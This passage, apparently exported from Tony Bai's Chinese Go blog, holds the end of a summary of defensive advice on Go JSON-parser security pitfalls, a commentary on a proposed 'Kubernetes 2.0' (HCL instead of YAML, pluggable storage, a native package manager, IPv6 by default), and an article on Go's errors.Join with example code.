当数据流经多个服务时（尤其是异构系统），确保所有环节对数据的解析行为（如重复键处理、大小写敏感性）是一致的。如果无法保证，需要在边界处增加额外的校验层。\n警惕数据格式混淆： 严格校验输入数据的 Content-Type，确保使用正确的解析器处理对应的数据格式。\n关注 JSONv2 的进展： 积极了解 JSONv2 的设计和特性，为未来可能的迁移做好准备，并理解其带来的安全增益。\n利用静态分析工具： Trail of Bits 提供了一些 Semgrep 规则来帮助检测代码库中常见的 JSON 解析误用模式。将静态分析集成到 CI/CD 流程中。\n编写明确的测试用例： 针对反序列化逻辑，编写包含各种边界情况（如重复键、不同大小写的键、未知键、垃圾数据）的测试用例，确保解析行为符合预期。\n小结 Trail of Bits 的这篇文章为我们所有 Go 开发者敲响了警钟：即使是像 encoding/json 这样基础、常用的标准库，也可能因为一些不符合直觉的默认行为或被忽视的配置，而成为安全攻击的突破口。\n理解这些“隐秘角落”，认识到“便利”与“安全”之间的权衡，并积极拥抱像 JSONv2 这样的改进，是我们构建更健壮、更安全的 Go 应用的必经之路。在日常开发中，对任何外部输入都保持一份警惕，审慎处理数据的解析与校验，应成为我们每个人的习惯。\n你是否在项目中遇到过类似 Go 解析器的“坑”？你对 JSONv2 有哪些期待？欢迎在评论区分享你的经验和看法！ 如果觉得本文对你有所启发，也请不吝点个【赞】和【在看】，让更多 Gopher 关注 Go 的解析器安全！\n资料地址：https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/22/unexpected-security-footguns-in-go-parsers/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/unexpected-security-footguns-in-go-parsers-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/06/22/unexpected-security-footguns-in-go-parsers\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/06/22/unexpected-security-footguns-in-go-parsers\"\u003ehttps://tonybai.com/2025/06/22/unexpected-security-footguns-in-go-parsers\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Go 语言中，标准库的 encoding/json 包无疑是我们日常打交道最多的伙伴之一。它简洁易用，性能尚可，支撑了无数 Go 应用的数据交换需求。然而，正如俗话所说，“最熟悉的地方可能藏着最深的坑”，最近拜读了知名安全公司 Trail of Bits 的一篇深度剖析文章——\u003cstrong\u003e“Unexpected security footguns in Go’s parsers”\u003c/strong\u003e（Go 解析器中意想不到的安全“绊脚石”）——让我对这个朝夕相处的伙伴有了全新的、甚至可以说是“惊出一身冷汗”的认识。\u003c/p\u003e","title":"Go 解析器的“隐秘角落”：encoding/json 的安全陷阱与 JSONv2 的救赎"},{"content":"Kubernetes 2.0 畅想：告别 YAML、etcd 束缚与 Helm 之痛，K8s 的下一站是什么？ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nKubernetes 2.0 畅想：告别 YAML、etcd 束缚与 Helm 之痛，K8s 的下一站是什么？ 六月 21, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/06/21/kubernetes-2-0\n大家好，我是Tony Bai。\n自 2014 年首次提交以来，Kubernetes 已走过辉煌的十年。它从一个“没人能念对名字”的希腊词汇，成长为容器编排领域无可争议的事实标准，深刻地改变了我们构建、部署和管理应用的方式。我们不再满足于在服务器层面“管理基础设施”，一切都变得声明式、可扩展、可恢复，甚至（如果你足够幸运的话）能够自我修复。\n然而，正如任何伟大的技术旅程一样，Kubernetes 的发展也并非一帆风顺。尽管它带来了巨大的生产力提升，但其陡峭的学习曲线、某些领域“不够固执己见 (not opinionated enough)”导致的常见错误和配置失误、以及生态系统中持续的“变动”，仍然让许多开发者和运维者“痛并快乐着”。我们依然会踩到那些文档早已记录的“地雷”。\n站在十年的重要节点，回望过去，展望未来，一个有趣的问题自然而然地浮现：如果我们有机会基于今天的认知和经验，重新构想一个 Kubernetes 2.0，它会是什么样子？我们能做哪些改变，让这个伟大的工具更普惠、更强大、更易用？\n最近，一篇题为《What Would a Kubernetes 2.0 Look Like》的博文，就针对这个问题提出了一系列大胆而深刻的畅想，直指当前 K8s 生态中的核心痛点。今天，我们就来一起探讨这些引人深思的观点。\n注：本文观点主要源自上述博文，并结合我个人的一些思考，希望能为大家带来启发。\nKubernetes 的十年功与过：为何我们需要畅想“2.0”？ 在畅想未来之前，我们必须承认 Kubernetes 取得的巨大成功。它之所以能成为云原生时代的基石，离不开其核心价值：\n大规模容器化： 将容器从本地开发环境无缝推向数千台服务器的生产集群，赋予了组织前所未有的灵活性，催生了微服务架构的繁荣。 低维护性： 推动了基础设施从“宠物 (Pets)”到“牛群 (Cattle)”再到“UUID时代”的演进。服务器变得完全可替代，运维模式从手动修复转向“销毁节点，让K8s重组”。 改进的作业系统： 提供了比传统“孤岛式 cron01 服务器”更可靠、更灵活的批处理作业和消息队列任务执行方案。 简化的服务发现与负载均衡： 通过 Service API 提供了稳定的内部 DNS 和 IP，极大地简化了服务间的调用和依赖管理。 然而，正如文章作者所言，“旅程并非没有问题”。“默认值是技术中最强大的力量 (defaults are the most powerful force in technology)”，而 Kubernetes 在某些方面的“默认”或“缺失”，恰恰是许多痛点的根源。 这正是我们畅想“K8s 2.0”的出发点——通过设定更优的“快乐路径 (happy path)”，提升整个生态的健康度和用户体验。\n畅想一：抛弃 YAML，拥抱 HCL——配置语言的救赎？ “YAML 之所以吸引人，是因为它既不是 JSON 也不是 XML，这就像说你的新车很棒，因为它既不是马也不是独轮车一样。” 文章作者对 YAML 的这句犀利点评，道出了许多 K8s 用户的心声。\nYAML最初凭借其看似简洁的格式在 Kubernetes 中胜出，但其在实践中暴露的问题也日益突出：\n模糊性与易错性： 缩进敏感、类型不明确（著名的“挪威问题”——NO 被解析为布尔值 false）、缺乏引用的数字可能被误解等。 难以扩展和调试： 超长的 YAML 文件令人望而生畏，调试错误往往如同大海捞针。 表达能力不足： 缺乏内置的变量、函数、条件逻辑等，导致大量依赖外部模板工具（如 Helm templates, Kustomize）。 文章大胆提议，Kubernetes 2.0 应该用 HCL (HashiCorp Configuration Language) 替换 YAML。 HCL 作为 Terraform 的配置语言，早已被广大云原生开发者所熟悉。其核心优势在于：\n强类型与显式类型： 从源头上避免了 YAML 的许多类型相关错误。 内置变量、引用、函数和表达式： 能够动态生成配置，减少重复，提高可维护性。 条件逻辑与循环： 支持更灵活的环境特定配置和重复性配置的简化。 更好的注释、错误处理和模块化能力。 作者通过对比简单的 YAML 和 HCL 示例，直观地展示了 HCL 在类型安全和动态配置生成方面的优越性：\n# YAML doesn\u0026#39;t enforce types replicas: \u0026#34;3\u0026#34; # String instead of integer resources: limits: memory: 512 # Missing unit suffix requests: cpu: 0.5m # Typo in CPU unit (should be 500m) vs.\n# HCL replicas = 3 # Explicitly an integer resources { limits { memory = \u0026#34;512Mi\u0026#34; # String for memory values } requests { cpu = 0.5 # Number for CPU values } } 尽管 HCL 可能略显冗长，且其 MPL-2.0 许可证与 K8s 的 Apache 2.0 许可证的整合需要法律审查，但作者认为，为了大幅改善配置体验，这些障碍值得克服。\n畅想二：开放后端存储，etcd 不再是唯一选择——灵活性的追求 etcd 作为 Kubernetes 集群状态的权威存储，一直以来都扮演着至关重要的角色。然而，文章指出，etcd 作为唯一的默认后端存储，也带来了一些局限：\n资源消耗： 对于小型集群或资源受限的边缘环境，etcd 可能显得过于“庞大”和资源密集。 “强绑定”关系： Kubernetes 几乎是 etcd 现存唯一的“大客户”，这种高度绑定可能不利于双方的独立发展和技术选择的灵活性。 因此，文章建议 Kubernetes 2.0 应该官方化 kine (k3s-io/kine) 等项目的工作，提供可插拔的后端存储抽象层。 这将允许：\n根据硬件和集群规模选择更合适的后端： 例如，对于小型或边缘集群，可以使用像 dqlite (基于 Raft 的分布式 SQLite) 这样的轻量级方案，它们资源占用小，升级维护可能更简单。 促进存储技术的创新与竞争： 开放后端接口，可以鼓励更多针对 K8s 优化的存储方案涌现。 降低对单一项目的依赖。 此外，Go 语言在构建分布式一致性存储方面拥有优秀的库（如 hashicorp/raft，etcd 本身也是 Go 编写的）。这些技术积累能否为 Kubernetes 构建更灵活、更高效的可插拔存储后端提供更多思路？\n畅想三：超越 Helm，构建原生包管理器——生态治理的进化 Helm 作为 Kubernetes 事实上的包管理器，为社区贡献了标准化的应用分发和管理方式。文章作者首先感谢了 Helm 维护者的辛勤工作。但紧接着，便毫不留情地指出了 Helm 在实践中的诸多“噩梦”：\nGo模板的复杂性与调试困难： 复杂的模板逻辑、令人困惑的错误场景、以及难以理解的错误信息。 依赖管理能力的孱弱： 难以优雅地处理传递性依赖和版本冲突，尤其在多个应用依赖同一子 Chart 的不同版本时。 其他痛点： 跨命名空间安装不便、Chart 验证过程繁琐且少有人用（作者甚至吐槽了 Artifact Hub 上官方 Chart 的验证状态）、元数据搜索能力弱、不严格执行语义化版本控制、以及卸载/重装包含 CRD 的 Chart 可能导致用户数据丢失的严重安全隐患。 作者断言：“没有办法让 Helm 足够好地完成‘管理地球上所有关键基础设施的包管理器’这项任务。”\n因此，文章畅想了一个名为 KubePkg 的 Kubernetes 原生包管理系统，其核心设计理念借鉴了成熟的 Linux 包管理系统，并充分利用了 Kubernetes CRD 的能力：\n一切皆为 Kubernetes 资源： 包定义、仓库、安装实例等都通过 CRD 管理，拥有标准的 status 和 events。 一流的状态管理： 内置对有状态应用备份、恢复、升级策略的支持。 增强的安全性： 强制的包签名、验证机制和安全扫描集成。 声明式配置，告别模板： 使用结构化的配置（可能基于 HCL 或类似带有 Schema 的语言），而非难以调试的文本模板。 完善的生命周期管理： 提供全面的 pre/post-install/upgrade/remove 钩子。 强大的依赖解析： 类似 Linux 包管理器的、基于语义化版本的依赖管理和冲突解决能力。 完整的审计追踪： 记录所有变更的“who, what, when”。 策略执行与简化的用户体验。 加分项：默认拥抱 IPv6——未雨绸缪的网络升级 除了上述三大核心变革，文章还提出了一个颇具前瞻性的建议：Kubernetes 2.0 应将默认网络模式切换到 IPv6。\n其理由在于，IPv4 带来的 NAT 穿透复杂性、IP 地址耗尽焦虑（即使在私有网络中，大规模集群也可能迅速耗尽 /20 这样的网段）等问题，已经浪费了全球开发者和运维者大量的时间和精力。\n在 K8s 内部默认使用 IPv6，可以：\n极大简化集群内部网络拓扑。 在组织层面，如果使用公网 IPv6 地址，可以更容易地忽略多集群之间的界限。 提升网络流量的可理解性。 更好地利用 IPv6 内置的 IPSec 等安全特性。 作者强调，这并非要求整个互联网立即切换到 IPv6，而是 Kubernetes 自身可以主动进化，以解决其在当前规模下面临的 IP 地址管理和网络复杂性问题。\n小结：“默认即王道”，Kubernetes 的未来在于更优体验 “Kubernetes is an open platform, so the community can build these solutions.” （K8s 是一个开放平台，所以社区可以构建这些解决方案。）这是对类似“2.0”畅想的常见反驳。但文章作者一针见血地指出，这种说法忽略了一个关键点：“默认值是技术中最强大的力量。” 核心项目定义的“快乐路径”将主导 90% 用户的交互方式。\n如果 Kubernetes 2.0 能够在配置语言、后端存储、包管理乃至网络模型这些核心体验上，提供更简洁、更安全、更强大、更易用的“默认选项”，那么整个生态系统都将因此受益。\n这无疑是一份雄心勃勃的畅想清单。但正如作者所言：“如果我们打算做梦，那就做个大梦。毕竟，我们是那个认为将一项技术命名为‘Kubernetes’也能流行起来的行业，而且不知何故它确实做到了！”\nKubernetes 的第一个十年，奠定了其在云原生领域的王者地位。下一个十年，它需要在保持核心优势的同时，勇于直面和解决用户在实践中遇到的真实痛点，不断进化，提供更极致的用户体验。这些“2.0”的畅想，无论最终能否完全实现，都为我们指明了值得努力的方向。\n参考文章地址：https://matduggan.com/what-would-a-kubernetes-2-0-look-like\n聊一聊，也帮个忙：\n对于文中提出的 Kubernetes 2.0 的三大核心变革（HCL替换YAML、可插拔etcd、原生包管理器KubePkg），你最期待哪一个？为什么？ 你认为当前使用 Kubernetes 最大的痛点是什么？这些“2.0畅想”是否触及了你的痛点？ 关于默认使用 IPv6，你认为在实际推行中会遇到哪些挑战？ 欢迎在评论区留下你的真知灼见。如果你觉得这篇文章引发了你的思考，也请转发给你身边的云原生同道们，一起畅想 Kubernetes 的未来！\n精进有道，更上层楼\n极客时间《Go语言进阶课》上架刚好一个月，受到了各位读者的热烈欢迎和反馈。在这里感谢大家的支持。目前我们已经完成了课程模块一『语法强化篇』的 13 讲，为你系统突破 Go 语言的语法认知瓶颈，打下坚实基础。\n现在，我们已经进入模块二『设计先行篇』，这不仅包括 API 设计，更涵盖了项目布局、包设计、并发设计、接口设计、错误处理设计等构建高质量 Go 代码的关键要素。\n这门进阶课程，是我多年 Go 实战经验和深度思考的结晶，旨在帮助你突破瓶颈，从“会用 Go”迈向“精通 Go”，真正驾驭 Go 语言，编写出更优雅、更高效、更可靠的生产级代码！\n扫描下方二维码，立即开启你的 Go 语言进阶之旅！\n如果你对Go语言的底层原理和高级技巧充满好奇，渴望构建更坚实的技术壁垒，我诚挚地邀请您关注我的微专栏系列。在这里，我们拒绝浮光掠影，只做深度挖掘：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/21/kubernetes-2-0/","summary":"\u003cp\u003eKubernetes 2.0 畅想：告别 YAML、etcd 束缚与 Helm 之痛，K8s 的下一站是什么？ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Kubernetes 2.0 畅想：告别 YAML、etcd 束缚与 Helm 之痛，K8s 的下一站是什么？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/06/20/about-errors-join\n大家好，我是Tony Bai。\n错误处理，无疑是软件开发中永恒的核心议题之一。Go 语言以其独特的、显式的错误处理机制（即 error 作为普通值返回）而著称，这种设计强调了对错误的关注和及时处理。自 Go 1.13 引入错误包装 (wrapping) 机制以来，Go 的错误处理能力得到了显著增强。而在Go 1.20 版本中，标准库 errors 包更是带来了一个备受关注的新成员：errors.Join() 函数。\n这个函数允许我们将多个 error 值合并成一个单一的 error 值，并且合并后的错误依然可以通过 errors.Is 和 errors.As 进行检查。一时间，社区中对其评价不一：有人称之为“天赐之物”，认为它在特定场景下能极大提升代码表达力和用户体验；也有人持审慎态度，强调应坚守“快速失败 (Fail Fast)”的原则，避免滥用错误聚合。\n那么，errors.Join() 究竟是解决特定痛点的“良药”，还是可能被误用的“潘多拉魔盒”？它与 Go 一贯倡导的错误处理哲学是相辅相成，还是有所背离？今天，我们就结合社区的讨论，深入探讨 errors.Join() 的适用场景、潜在风险以及最佳实践。\nerrors.Join()：是社区呼声的产物，还是多此一举？ 在社区讨论中，有开发者盛赞 errors.Join()，认为它“在需要一次性检查多个不相关错误，或者创建类似伪堆栈跟踪结构以追踪错误传播路径的场景下，是天赐之物，非常棒！”\n然而，一些资深 Go 开发者则给出了更审慎的观点：“请不要鼓吹无条件地聚合错误。遵循‘最小惊奇原则’，绝大多数情况下应该在遇到第一个错误时就‘快速失败’。合并错误的场景虽然存在，但合法地罕见。鼓励大家在假设需要合并错误之前，先思考 API 边界及其错误契约。”\n这两种截然不同的看法，恰恰反映了 errors.Join() 在实践中可能带来的困惑和需要权衡的场景。\nerrors.Join() 的“高光时刻”：何时它真的是“天赐之物”？ 尽管“快速失败”是处理错误的主流且通常是正确的策略，但在某些特定场景下，聚合多个错误信息并一次性返回，确实能带来显著的收益。社区讨论中，开发者们也分享了他们认为 errors.Join() 非常适用的场景：\n输入验证 (Input Validation)：一次性告知所有“罪状” 这是被提及最多的场景。当处理用户输入（如表单提交）或 API 请求参数校验时，如果每次只返回第一个发现的校验错误，用户就不得不反复提交、逐个修改，体验极差。此时，将所有校验不通过的字段错误聚合起来，一次性反馈给用户，无疑是更友好的做法。\n// https://go.dev/play/p/pK6cVq9exkL package main import ( \u0026#34;errors\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;strings\u0026#34; ) type UserRequest struct { Username string Email string Password string } func validateRequest(req UserRequest) error { var errs []error if len(req.Username) \u0026lt; 3 { errs = append(errs, errors.New(\u0026#34;用户名长度不能小于3个字符\u0026#34;)) } if !strings.Contains(req.Email, \u0026#34;@\u0026#34;) { errs = append(errs, errors.New(\u0026#34;邮箱格式不正确\u0026#34;)) } if len(req.Password) \u0026lt; 6 { errs = append(errs, errors.New(\u0026#34;密码长度不能小于6个字符\u0026#34;)) } // 使用 errors.Join 合并所有验证错误 // errors.Join 会自动忽略 nil 错误 return errors.Join(errs...) } func main() { req1 := UserRequest{\u0026#34;us\u0026#34;, \u0026#34;email\u0026#34;, \u0026#34;pass\u0026#34;} if err := validateRequest(req1); err != nil { fmt.Printf(\u0026#34;请求1校验失败:\\n%v\\n\u0026#34;, err) // 调用方可以通过 errors.Is 或 errors.As 进一步检查具体错误类型 // 例如，如果错误是自定义类型，可以 errors.As(err, \u0026amp;targetErr) } req2 := UserRequest{\u0026#34;myuser\u0026#34;, \u0026#34;myemail@example.com\u0026#34;, \u0026#34;mypassword\u0026#34;} if err := validateRequest(req2); err != nil { fmt.Printf(\u0026#34;请求2校验失败:\\n%v\\n\u0026#34;, err) } else { fmt.Println(\u0026#34;请求2校验通过！\u0026#34;) } } 运行该示例的输出如下（对于请求1）：\n请求1校验失败: 用户名长度不能小于3个字符 邮箱格式不正确 密码长度不能小于6个字符 并行任务的错误聚合：一个都不能少 当启动多个 goroutine 执行并行操作时（例如，并发请求多个下游服务、并行处理一批数据），如果只关心第一个发生的错误，可能会丢失其他并行任务中同样重要的错误信息。此时，等待所有任务完成，收集所有可能发生的错误，并用 errors.Join() 合并，能提供更全面的错误视图。\n// https://go.dev/play/p/ZtAm2-Agyo1 package main import ( \u0026#34;errors\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;time\u0026#34; ) func processAsyncTask(id int, fail bool) error { fmt.Printf(\u0026#34;任务 %d 开始...\\n\u0026#34;, id) time.Sleep(time.Duration(id*50) * time.Millisecond) // 模拟不同耗时 if fail { fmt.Printf(\u0026#34;任务 %d 失败！\\n\u0026#34;, id) return fmt.Errorf(\u0026#34;任务 %d 执行失败\u0026#34;, id) } fmt.Printf(\u0026#34;任务 %d 完成。\\n\u0026#34;, id) return nil } func main() { tasks := []bool{false, true, false, true, false} // 任务是否失败的标志 var wg sync.WaitGroup errs := make([]error, len(tasks)) // 用于收集每个任务的错误 for i, failFlag := range tasks { wg.Add(1) go func(idx int, fail bool) { defer wg.Done() errs[idx] = processAsyncTask(idx+1, fail) }(i, failFlag) } wg.Wait() // 使用 errors.Join 合并所有任务的错误 // errors.Join 会自动过滤掉结果为 nil 的 errs[idx] combinedErr := errors.Join(errs...) if combinedErr != nil { fmt.Printf(\u0026#34;\\n并行任务执行完毕，发生以下错误:\\n%v\\n\u0026#34;, combinedErr) } else { fmt.Println(\u0026#34;\\n所有并行任务执行成功！\u0026#34;) } } 运行上述代码示例，我们将得到：\n任务 5 开始... 任务 4 开始... 任务 1 开始... 任务 2 开始... 任务 3 开始... 任务 1 完成。 任务 2 失败！ 任务 3 完成。 任务 4 失败！ 任务 5 完成。 并行任务执行完毕，发生以下错误: 任务 2 执行失败 任务 4 执行失败 defer 中的错误处理：确保信息不丢失 在函数中，defer 语句常用于执行清理操作，如关闭文件、释放锁等。这些清理操作本身也可能返回错误。如果函数主体也返回了错误，我们就面临如何处理这两个（或多个）错误的问题。简单地忽略 defer 中的错误或用它覆盖主体错误都可能导致重要信息的丢失。errors.Join() 提供了一种优雅的方式来合并它们。\n//https://go.dev/play/p/ccKUkWXMbuN package main import ( \u0026#34;errors\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; ) func writeFileAndClose(filename string, data []byte) (err error) { f, err := os.Create(filename) if err != nil { return fmt.Errorf(\u0026#34;创建文件失败: %w\u0026#34;, err) } defer func() { // 在 defer 中调用 Close，并将其错误与函数可能已有的错误合并 closeErr := f.Close() if closeErr != nil { fmt.Printf(\u0026#34;关闭文件 %s 时发生错误: %v\\n\u0026#34;, filename, closeErr) } // 使用 errors.Join 合并主体错误和 defer 中的错误 // 如果 err 为 nil，Join 的行为是返回 closeErr // 如果 closeErr 为 nil，Join 的行为是返回 err // 如果两者都非 nil，则合并 err = errors.Join(err, closeErr) }() _, err = f.Write(data) if err != nil { // 为了能被 defer 中的 Join 合并，需要将错误赋值给命名返回值 err err = fmt.Errorf(\u0026#34;写入文件失败: %w\u0026#34;, err) return // defer 会在这里执行 } // 模拟写入成功，但关闭失败的场景 // 或者写入失败，关闭也失败的场景 return nil // 如果写入成功，defer 仍会执行关闭并可能 Join 错误 } func main() { // 场景1: 写入成功，关闭成功 (假设) // (为了演示，我们不实际创建文件，避免权限问题) fmt.Println(\u0026#34;测试场景：写入和关闭都成功 (理想情况)\u0026#34;) // err := writeFileAndClose(\u0026#34;good.txt\u0026#34;, []byte(\u0026#34;hello\u0026#34;)) // fmt.Printf(\u0026#34;结果: %v\\n\\n\u0026#34;, err) // 应为 nil // 场景2: 模拟写入失败 (err 非 nil)，关闭也可能失败 (closeErr 非 nil) // 为了触发写入失败，我们可以尝试写入一个只读文件或无效路径 // 为了触发关闭失败，这比较难模拟，但 errors.Join 能处理这种情况 // 这里我们直接在函数逻辑中模拟这种情况 badWriteFunc := func() (err error) { // 使用命名返回值 fmt.Println(\u0026#34;测试场景：写入失败，关闭也失败\u0026#34;) // 模拟写入失败 mainWriteErr := errors.New(\u0026#34;模拟写入操作失败\u0026#34;) err = mainWriteErr // 赋值给命名返回值 defer func() { simulatedCloseErr := errors.New(\u0026#34;模拟关闭操作也失败\u0026#34;) fmt.Printf(\u0026#34;关闭时发生错误: %v\\n\u0026#34;, simulatedCloseErr) err = errors.Join(err, simulatedCloseErr) // 合并 }() return // 返回 mainWriteErr，然后 defer 执行 } errCombined := badWriteFunc() if errCombined != nil { fmt.Printf(\u0026#34;组合错误:\\n%v\\n\u0026#34;, errCombined) // 我们可以检查这两个错误是否都存在 if errors.Is(errCombined, errors.New(\u0026#34;模拟写入操作失败\u0026#34;)) { fmt.Println(\u0026#34;包含：模拟写入操作失败\u0026#34;) } if errors.Is(errCombined, errors.New(\u0026#34;模拟关闭操作也失败\u0026#34;)) { fmt.Println(\u0026#34;包含：模拟关闭操作也失败\u0026#34;) } } } 运行该示例：\n测试场景：写入和关闭都成功 (理想情况) 测试场景：写入失败，关闭也失败 关闭时发生错误: 模拟关闭操作也失败 组合错误: 模拟写入操作失败 模拟关闭操作也失败 “快速失败 (Fail Fast)”的黄金法则：为何它依然重要？ 尽管 errors.Join() 在上述场景中表现出色，但我们不能忘记 Go 错误处理的一个核心原则——快速失败。 一些资深开发者在社区讨论中反复强调了这一点。\n“快速失败”意味着：\n一旦发生错误，应尽快中止当前操作。 将错误向上传播给调用者，由调用者决定如何处理。 避免在错误状态下继续执行，这可能导致更严重的问题或产生难以追踪的“幽灵Bug”。 在绝大多数情况下，“快速失败”是更简单、更可预测、更易于调试的错误处理策略。它符合“最小惊奇原则”，让代码的行为更符合直觉。\nAPI 边界与错误契约：思考在“Join”之前 有开发者还提出的另一个关键点是：“在假设你需要合并错误之前，先思考你的 API 边界及其错误契约。”\n一个设计良好的 API 应该清晰地告知调用者：\n它可能返回哪些类型的错误？ 在什么情况下会返回错误？ 调用者应该如何响应这些错误？ 如果一个 API 的职责是单一且明确的，那么通常情况下，它在遇到第一个无法自行处理的错误时就应该返回，而不是试图收集所有可能的内部错误再“打包”抛给调用者。过度使用 errors.Join() 向上层传递大量不相关的细粒度错误，可能会让调用者无所适从，造成信息噪音，反而违背了 Go 错误处理的明确性原则。\n何时应该对 errors.Join() 说“不”？ 结合上述讨论，以下是一些不建议或需要谨慎使用 errors.Join() 的场景：\n错误之间存在明确的因果或依赖关系：此时应优先处理或报告最根本的错误。 简单的“快速失败”就能满足需求：不要为了“聚合”而聚合，增加不必要的复杂性。 API 边界清晰，且期望调用者处理单一主要错误：向调用者返回一堆它不关心或无法有效处理的内部错误，通常不是好的 API 设计。 可能导致信息过载或掩盖核心问题：合并后的错误信息如果过于冗长或杂乱，反而不利于快速定位问题。 errors.Join() vs fmt.Errorf 包装多个错误：Go 1.20 的双重献礼 值得注意的是，在 Go 1.20 版本中，除了引入 errors.Join() 函数外，fmt.Errorf 的 %w 动词也得到了增强，现在它支持同时包装多个错误。这为我们组合错误信息提供了另一种选择。那么，这两者在使用和行为上有什么区别呢？\n过滤 nil 错误的能力 errors.Join(errs…) 会自动忽略 errs 切片中的 nil 错误。如果所有传入的错误都是 nil，则 errors.Join 返回 nil。 fmt.Errorf 使用 %w 时，如果被包装的 err 是 nil，它仍然会生成一个非 nil 的错误（包含 nil 的字符串表示），除非所有 %w 对应的错误都是 nil 且格式化字符串本身在没有这些错误时会产生空错误。 我们来看一个例子：\n// https://go.dev/play/p/X6aAjE0LdsY package main import ( \u0026#34;errors\u0026#34; \u0026#34;fmt\u0026#34; ) func main() { var err1 = errors.New(\u0026#34;错误1\u0026#34;) var err2 error // nil error var err3 = errors.New(\u0026#34;错误3\u0026#34;) // 使用 errors.Join joinedErr := errors.Join(err1, err2, err3) fmt.Printf(\u0026#34;errors.Join 结果:\\n%v\\n\\n\u0026#34;, joinedErr) // 输出会包含 err1 和 err3，err2 (nil) 会被忽略 // 使用 fmt.Errorf 包装多个错误 // 注意：如果 err2 是 nil，\u0026#34;%w\u0026#34; 会输出 \u0026#34;\u0026lt;nil\u0026gt;\u0026#34; wrappedErr := fmt.Errorf(\u0026#34;组合错误: 第一个: %w, 第二个(nil): %w, 第三个: %w\u0026#34;, err1, err2, err3) fmt.Printf(\u0026#34;fmt.Errorf 结果:\\n%v\\n\\n\u0026#34;, wrappedErr) // 演示 errors.Is 对两者的行为 fmt.Printf(\u0026#34;errors.Is(joinedErr, err1): %t\\n\u0026#34;, errors.Is(joinedErr, err1)) // true fmt.Printf(\u0026#34;errors.Is(joinedErr, err2): %t\\n\u0026#34;, errors.Is(joinedErr, err2)) // false (因为 err2 是 nil 且被忽略) fmt.Printf(\u0026#34;errors.Is(joinedErr, err3): %t\\n\u0026#34;, errors.Is(joinedErr, err3)) // true fmt.Printf(\u0026#34;errors.Is(wrappedErr, err1): %t\\n\u0026#34;, errors.Is(wrappedErr, err1)) // true // 对于 fmt.Errorf，如果被包装的 err 是 nil，errors.Is 无法通过 %w 找到它 fmt.Printf(\u0026#34;errors.Is(wrappedErr, err2): %t\\n\u0026#34;, errors.Is(wrappedErr, err2)) // false fmt.Printf(\u0026#34;errors.Is(wrappedErr, err3): %t\\n\u0026#34;, errors.Is(wrappedErr, err3)) // true // 如果所有错误都是 nil var nilErr1, nilErr2 error joinedNil := errors.Join(nilErr1, nilErr2) fmt.Printf(\u0026#34;errors.Join(nil, nil) is nil: %t\\n\u0026#34;, joinedNil == nil) // true // fmt.Errorf 在所有 %w 都为 nil 时，如果格式化字符串本身为空，则可能返回 nil // 但通常会包含格式化字符串本身，所以不为 nil wrappedAllNil := fmt.Errorf(\u0026#34;错误: %w, %w\u0026#34;, nilErr1, nilErr2) fmt.Printf(\u0026#34;fmt.Errorf(\\\u0026#34;错误: %w, %w\\\u0026#34;, nil, nil) is nil: %t\\n\u0026#34;, wrappedAllNil == nil) // false } 运行示例输出如下结果：\nerrors.Join 结果: 错误1 错误3 fmt.Errorf 结果: 组合错误: 第一个: 错误1, 第二个(nil): %!w(\u0026lt;nil\u0026gt;), 第三个: 错误3 errors.Is(joinedErr, err1): true errors.Is(joinedErr, err2): false errors.Is(joinedErr, err3): true errors.Is(wrappedErr, err1): true errors.Is(wrappedErr, err2): false errors.Is(wrappedErr, err3): true errors.Join(nil, nil) is nil: true fmt.Errorf(\u0026#34;错误: %w, %w\u0026#34;, nil, nil) is nil: false 解包 (Unwrapping) 多个错误的能力 errors.Join 返回的错误类型（如果是非 nil 的）必然实现了 interface{ Unwrap() []error } 接口。这允许调用者获取一个包含所有被合并的非 nil 原始错误的切片，从而可以对每一个原始错误进行独立的检查。 fmt.Errorf 通过多个 %w 包装错误时，它仍然是构建一个错误链 (error chain)。这意味着错误是一层一层包装的，解包时需要多次调用 errors.Unwrap 来逐个访问。它不直接提供一次性获取所有被包装错误的方法。 // https://go.dev/play/p/8Zb2mvSFlFw package main import ( \u0026#34;errors\u0026#34; \u0026#34;fmt\u0026#34; ) type specialError struct { msg string } func (e *specialError) Error() string { return e.msg 